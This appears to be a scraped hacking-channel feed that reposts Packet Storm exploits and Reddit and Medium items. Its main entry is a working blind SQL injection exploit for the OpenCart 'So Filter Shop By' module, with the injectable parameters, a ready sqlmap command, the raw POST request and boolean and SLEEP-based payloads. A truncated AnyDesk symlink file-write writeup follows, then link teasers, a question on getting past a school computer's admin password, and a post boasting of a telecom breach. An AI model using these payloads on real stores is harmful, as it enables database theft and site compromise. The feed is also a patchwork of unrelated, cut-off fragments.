Exploit Collector
OpenCart 3.x So Filter Shop By SQL Injection

https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png
The So Filter Shop By module for OpenCart version 3.x suffers from a remote blind SQL injection vulnerability.

SHA-256 | 462124e2fc27238a23e89c00a09bc9b367444b9617845792df716e1e7565491f

Download
# Exploit Title: OpenCart v3.x So Filter Shop By - Blind SQL Injection
# Date: 28/06/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://codecanyon.net/item/so-filter-shop-by-responsive-opencart-module/13945633
# Version: V3.X
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
* Description :

So Filter Shop By Module is compatible with any Opencart allows SQL Injection via parameter 'att_value_id , manu_value_id , opt_value_id , subcate_value_id ' in /index.php?route=extension/module/so_filter_shop_by/filter_data.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
* Sqlmap command :

sqlmap -u 'http://127.0.0.1/index.php?route=extension/module/so_filter_shop_by/filter_data' --data "att_value_id=saud&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud" -p "att_value_id" --method POST --level=5 --risk=3 --dbs --random-agent

Request :

===========

POST /index.php?route=extension/module/so_filter_shop_by/filter_data HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 29
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: Keep-alive

att_value_id=1&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud
===========

Output :

Parameter: att_value_id (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: att_value_id=-7402) OR 6808=6808 AND (4992=4992&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: att_value_id=1) AND (SELECT 6365 FROM (SELECT(SLEEP(5)))qqBP) AND (7704=7704&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AnyDesk 7.0.9 Arbitrary File Write / Denial Of Service

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png AnyDesk version 7.0.9 suffers from an arbitrary file write vulnerability via a symlink attack.

SHA-256 | a24a864d0cf210e9aa4cf317353b4651dcf88793c38af3fcf86fc7d93525574aDownload # Exploit Title: AnyDesk allow arbitrary file write by symbolic link attack lead to denial-of-service attack on local machine
# Google Dork: [if applicable]
# Date: 24/5/2022
# Exploit Author: Erwin Chan
# Vendor Homepage: https://anydesk.com/en
# Software Link: https://anydesk.com/en
# Version: 7.0.9
# Tested on: Windows 11
It was found that AnyDesk (version 7.0.9) was vulnerable to arbitrary file
write by symbolic link attack leading to denial-of-service attack on local
machine. It was noted that two functions were affected.

*Affected function A*
When there was a remote connection come in, a directory under AppData of
current user (without admin privilege) and a "ad.trace" file (i.e.,
"C:\Users\Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacker Search Engines

A list of search engines useful during Penetration testing, vulnerability assessments, red team operations, bug bounty and moreContinue reading on Medium »
Read more...

XSS cheatsheet payloads

XSS PAYLOADSContinue reading on Medium »
Read more...

OpenSSH CVE-2018–15473 User Enumeration Vulnerability

Description:Continue reading on Medium »
Read more...

Hacker Search Engines
https://medium.com/@reconshell.com/hacker-search-engines-f20bbe276c79?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A list of search engines useful during Penetration testing, vulnerability assessments, red team operations, bug bounty and moreContinue reading on Medium » (https://medium.com/@reconshell.com/hacker-search-engines-f20bbe276c79?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

XSS cheatsheet payloads
https://medium.com/@Anonysm/xss-cheat-payloads-d43e0461c27b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

XSS PAYLOADSContinue reading on Medium » (https://medium.com/@Anonysm/xss-cheat-payloads-d43e0461c27b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

OpenSSH CVE-2018–15473 User Enumeration Vulnerability
https://medium.com/@Dhamuharker/openssh-cve-2018-15473-user-enumeration-vulnerability-1ad8c7b6c66f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Description:Continue reading on Medium » (https://medium.com/@Dhamuharker/openssh-cve-2018-15473-user-enumeration-vulnerability-1ad8c7b6c66f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Learning OT hacking

Hi all,

Good resources to learn about OT security?

Thanks.

submitted by /u/Morgue0xFF
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there a way to bypass the admin Wall and install a program in Windows?

For example a School computer where you want to download a program but don’t have the admin password.

submitted by /u/LucasIsaksen
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Critical Infrastructure for aviation?

Hello, I have a background as an avionics technician for the military and now a private company.

Gonna be pursuing a degree in Cyber Security/Critical Infrastructure. Was wondering if anyone on this subreddit had experience in the field and any advice they could offer me as far as career plans, education, general guidance, etc.

Thanks.

submitted by /u/CookiesNCraem
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
BELARUS 🇧🇾Telecom pwned for #OpRussia and #DarkLulz (and yeah, I looked… they are BREACHED. Glory to #Ukraine ✊🏻🇺🇦) #LulzSec

https://external-preview.redd.it/6PdXXYwqSkndWWozRvXP1f_D16dkuOa0CGrxrJYSdZQ.jpg?width=108&crop=smart&auto=webp&s=d5fd465d3cc9c0903318e0bec5fb4380673e3194 submitted by /u/lulzsecoperations
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video